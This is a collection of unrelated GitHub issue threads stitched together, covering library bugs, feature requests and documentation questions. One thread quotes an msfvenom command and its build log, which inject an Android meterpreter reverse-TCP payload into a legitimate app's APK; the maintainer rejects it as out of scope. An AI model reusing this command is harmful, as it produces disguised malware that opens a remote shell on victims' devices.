@wyfSunflower Please open a new issue for this new question. Also, could you provide some more detail about what you're trying to do? I don't understand what you mean by "gbdt+lr model".


Detection and TrackedObject classes should contain class label (when applicable)

Hi,
before I begin I would like to thank you for the amazing work on this library and for the clear repo!
As the title suggests, I can't see why you are not giving end-users the possibility to keep track of class labels when working with traditional object detector. I read that you added the data attribute to the Detection class (which can store them eventually), and I also read on issue #47 that you don't use Norfair too much for different object classes, but I still think that an (optional) attribute regarding object classes would be great.
I was working on tracking different object classes, and I think it would be not optimal of me instantiating multiple trackers in order to keep track of multiple object classes. I guess the codebase right now is not ready to handle multiple classes in a single tracker, since different classes could be mixed up together by mistake, even though it would be a really nice addition.
If I had a class-label attribute for the Detection and/or TrackedObjects classes, I would love that.
Thanks for the hard work!

Hi @Uzarel, thanks for the feedback! We gave this idea another visit, and we're probably going to be adding it to the library. We're still in the process of making the final decision though, and more specifically trying to sketch out how this would look in code.


Global converter not found when used with reverse flag

Global converters seem to work incorrectly when combined with the reverse flag. Here's a simple example where I was able to reproduce that behavior using a simple types structure:
import 'package:auto_mappr_annotation/auto_mappr_annotation.dart';

import 'mappr.auto_mappr.dart';

@AutoMappr(
  [
    MapType<PostDto, Post>(reverse: true),
  ],
  converters: [
    userDtoConverter,
    userConverter,
  ],
)
class Mappr extends $Mappr {}

class Post {
  final User user;
  Post({required this.user});
}

class PostDto {
  final UserDto user;
  PostDto({required this.user});
}

class User {
  final String id;
  User({required this.id});
}

class UserDto {
  final String id;
  UserDto({required this.id});
}

const userDtoConverter = TypeConverter(_userDtoToUser);
const userConverter = TypeConverter(_userToUserDto);
UserDto _userToUserDto(User source) => UserDto(id: source.id);
User _userDtoToUser(UserDto source) => User(id: source.id);

Now, if mappers are expressed as two separate entries, the error is gone:
@AutoMappr(
  [
    MapType<PostDto, Post>(),
    MapType<Post, PostDto>(),
  ],
  converters: [
    userDtoConverter,
    userConverter,
  ],
)
class Mappr extends $Mappr {}

Package version:
auto_mappr: 2.0.0
auto_mappr_annotation: 2.0.0

Thanks for finding this bug! The patch will be released soon.
Let us know on Discord what you think about the package. 🙌

@tomwyr released


Release when?

i'm dying

I will push one today or tomorrow ;)

Release is out https://github.com/GoneUp/GPK_RePack/releases/tag/v1.0


Need help with context and middleware

I have created a context, and passed the context to hooks, but the ctx argument of middleware says that it is undefined.

Here is the middleware, where it is saying that ctx is undefined.
export const postsRouter = createRouter()
  .middleware(async ({ ctx: { req }, next }) => { // problem is reading req of ctx which is undefined
    const token = req.headers.get("authorization")?.replace("Bearer ", "") ?? "";
    const { user, error } = await supabase.auth.api.getUser(token);
    if (!user) throw new TRPCError({ message: `Unauthorized: ${error}`, code: "UNAUTHORIZED" });
    return next();
  })

Here is the context (which I do not know how to type, because the existing adapters don't seem to work):
export const createContext = (ctx: any) => ctx;

Also, any time I try to type the context function, the createTRPCHandle function doesn't like it. There's no docs on how to type the context function.

Okay, so I figured out how to type the context, at least after ages of code digging and trial and error.
export const createContext = async ({ request }: RequestEvent) => {
  return {
    req: request
  };
};

And that resolved the undefined context, too.


W: res/drawable-anydpi-v24/$appc_info_app_bar_guy__0.xml: Invalid file name: must contain only [a-z0-9_.]

msfvenom -x idea.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4483 -o myidea.apk
Using APK template: idea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package cm.aptoide.pt.ennks
[] Loading /tmp/d20220126-23451-4ck1ug/original/smali/cm/aptoide/pt/NotificationApplicationView.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding apk with meterpreter injection as /tmp/d20220126-23451-4ck1ug/output.apk
[-] I: Using Apktool 2.5.0-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes3 folder into classes3.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes2 folder into classes2.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
W: res/drawable-anydpi-v24/$appc_info_app_bar_guy__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$appc_info_app_bar_guy__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$avd_hide_password__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$avd_hide_password__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$avd_hide_password__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$avd_show_password__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$avd_show_password__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$avd_show_password__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_aptoide_email__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_beta__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_calendar__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_calendar__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_calendar__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_check__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__3.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__4.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__5.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__6.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__7.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_no_promotion_illustration__8.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_pause_to_resume__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_pause_to_resume__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_pause_to_resume__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_pause_to_resume_white__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_pause_to_resume_white__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_pause_to_resume_white__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_promotion_coins__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_resume_to_pause__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_resume_to_pause__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_resume_to_pause__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_resume_to_pause_white__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_resume_to_pause_white__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$ic_resume_to_pause_white__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_spend_appc__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_spend_appc__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_spend_appc__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_spend_appc__3.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_spend_appc__4.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_spend_appc__5.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$ic_update_image__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable-anydpi-v24/$spend_get_appc_icon__0.xml: Invalid file name: must contain only [a-z0-9_.]
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [aapt, p, --min-sdk-version, 16, --target-sdk-version, 25, --version-code, 10112, --version-name, <IP_ADDRESS>, --no-version-vectors, -F, /tmp/APKTOOL259114381012454997.tmp, -0, resources.arsc, -0, png, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20220126-23451-4ck1ug/original/res, -M, /tmp/d20220126-23451-4ck1ug/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool

Use apktool 2.6.0 https://github.com/iBotPeaches/Apktool/releases/tag/v2.6.0:
usage: apktool b[uild] [options] <app_path>
The use of msfvenom is outside the scope of this project.

Those are additionally warnings in the output above. I kept the warning for folks to know, but it wouldn't affect build. Not enough details to work from here.


Command to list all installed packages and versions

Like npm
npm ls

installed packages globally ? because python install everything globally


Create documentation via MkDocs

To get documentation up and running quickly, I'm going to use MkDocs. Probably stick with the default MkDocs theme and add the YAML file to the master branch along with the docs/ directory. I'll add a build step to travis to generate the documentation and push it to the gh-pages branch (seems like Scalamock can use CNAME with gh-pages).

Apparently, I can build and deploy the pages to the gh-pages branch through a single command:
mkdocs gh-deploy --clean

Need to see how to include a CNAME file (maybe it can be statically included?). Apparently, the answer is yes, just stick the file in the docs/ directory. See here for their discussion.


Checking support for moving, copying page, etc.

This is done completely on the client-side for all actions


How can I obtain the data set?

Excuse me. How can I obtain the data set? Thank you for your reply and assistance!

In the paper, we use the RoboMimic multi-human (MH) dataset. You can download them from its official page.
Notice that we use the v0.2 branch to align with the original RoboMimic paper (CoRL 2021), with the RoboSuite offline_study branch, as mentioned in the RoboMimic documentation.
https://robomimic.github.io/docs/v0.2/datasets/robomimic_v0.1.html


build: attempt to workaround linker issues on Darwin

The use of a non-cctools librarian causes ld64 some heartburn.
Explicitly opt into using the cctools librarian.
[One line description of your change]

Checklist

[ ] I've run tests to see all new and existing tests pass
[ ] I've followed the code style of the rest of the project
[ ] I've read the Contribution Guidelines
[ ] I've updated the documentation if necessary

If you've made changes to gyb files

[ ] I've run .script/generate_boilerplate_files_with_gyb and included updated generated files in a commit of this pull request

Motivation:
[Explain here the context, and why you're making that change. What is the problem you're trying to solve.]
Modifications:
[Describe the modifications you've done.]
Result:
[After your change, what will change.]

rdar://87850031

We haven't moved to 2.x yet so we will need a 1.x release with this fix if possible.
@Lukasa Would you be OK with that?


was ANTLR used while developing relax?

First of all thank you for creating such a great calculator tool for Relational Algebra
I'm just wondering, was the ANTLR or some similar tool used while developing RelaX ?
If so, could you share .g4 files for ANTLR? Or did you guys just implement everything from scratch?
I'm new in this area, so far what I have understood ANTLR is good tool for describing languages, but couldn't find full implemented Relation Algebra. If you have some information regarding to this, would be really great.
Thank you!

The parser uses PEG.js. You can find the grammar definitions in the .pegjs files here.


[test] Add test coverage target to Makefile

Changes

Now makefile has target to get overall coverage of the tests
Submitter Checklist

[ ] Docs included if needed
[ ] Tests included if needed
[x] Follows the good commit messages standard

/approve


[UWP] Background images on columns incorrectly increase height of the column instead of clipping

Platform

UWP

Version of SDK
Latest master
Issue
I’ve been looking into an issue with the incorrect rendering of background images (in this case column backgrounds) in the UWP renderer.
I’m not really sure what’s going on, so I wanted to get your opinions on how to approach it.
The problem is that when setting a large image as a (column) background with the mode set to stretch/cover, then it expands the column vertically to incorporate the full resolution of the image.
This is clearly incorrect. See below.
For the following json:
{
    "type": "AdaptiveCard",
    "body": [
        {
            "type": "ColumnSet",
            "columns": [
                {
                    "type": "Column",
                    "backgroundImage": "https://www.bing.com/th?id=AMMS_925faef413dcd7b32dcd822bf3025c1b",
                    "width": 1
                },
                {
                    "type": "Column",
                    "items": [
                        {
                            "type": "TextBlock",
                            "text": "Some text"
                        }
                    ],
                    "width": 1
                }
            ]
        }
    ],
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
    "version": "1.1"
}

I get the following on the 1.2 designer web page (which is what I expect):

But in the UWP Visualizer app I get the following:

I think that the problem is to do with the custom measure/arrange override in WholeItemsPanel, as the Image has what I believe to be the correct properties: MaxWidth & MaxHeight set to the image dimensions, Stretch set to UniformToFill.
If I set the Image Stetch to Uniform then the Visualizer renders as I’d expect in my case. That’s not really the correct solution though, as that would not always fill the background correctly depending on available space and image aspect ratio.
In our case the image is not behaving as you would expect it to with Stretch set to UniformToFill – the Image should be filling the available space, not defining/expanding it.
If I take the created XAML elements and place them inside a StackPanel instead of a WholeItemsPanel then everything renders as expected in a UWP sample app.
I can’t immediately spot the issue in WholeItemsPanel, but I’m guessing that it’s something to do with passing an infinite max height (noVerticalLimit) all the way down into all of the Measure calls.

@paulcam206 load-balancing over to you for 1.2

@RebeccaAnne / @paulcam206 can this be resolved as a dup of #2809 ?

@shalinijoshi19 -- @RebeccaAnne may know more, but at this point I don't think we have enough information to know whether or not these two issues share a root cause...

Reassigning to @almedina-ms for load balancing. Thanks!

Moving this out of 1.2 at this point for fixing post RTM.  @RebeccaAnne / @paulcam206 / @almedina-ms FYI.


Add DisableTransitiveProjectReferences

Fixes #30341
Summary
Adds a few paragraphs and documentation links to DisableTransitiveProjectReferences.

@gewarren do we need to re-run the build for the validation warnings? Doesn't seem to match.


Rename /conversations.read endpoint

In PR 1199 we discussed that the name /conversations.read leads to an api method called readConversations which is a bit confusing. We need to discuss if we want to rename this method and if, what the new name should be.

/conversations.markRead seems much more concise.


💡[Feature]: Genetic Disorder detection using a medical dataset that includes a variety of patient information and clinical data.

Is there an existing issue for this?

[X] I have searched the existing issues

Feature Description
This dataset focusses on pediatric patients, capturing a wide range of information from genetic data to clinical test results and demographic details. It is used for research on genetic disorders, the impact of maternal and paternal health on child health, and other related medical studies
A trained ML model to detect genetic disorder
Use Case
This machine learning model can significantly improve the detection and management of genetic disorders in pediatric patients. By leveraging comprehensive patient data, the model can provide accurate, timely, and actionable insights to healthcare professionals, ultimately leading to better patient care and outcomes.
Benefits
The dataset includes comprehensive patient data such as demographic information, clinical test results, family medical history, genetic data, and observed symptoms. Key features include patient age, genes inherited from parents, blood cell counts, heart and respiratory rates, and detailed information on genetic disorders and their subclasses.
Add ScreenShots
No response
Priority
High
Record

[X] I have read the Contributing Guidelines
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

Please assign this issue to me :) @Avdhesh-Varshney @TAHIR0110

@debangi29 go ahead.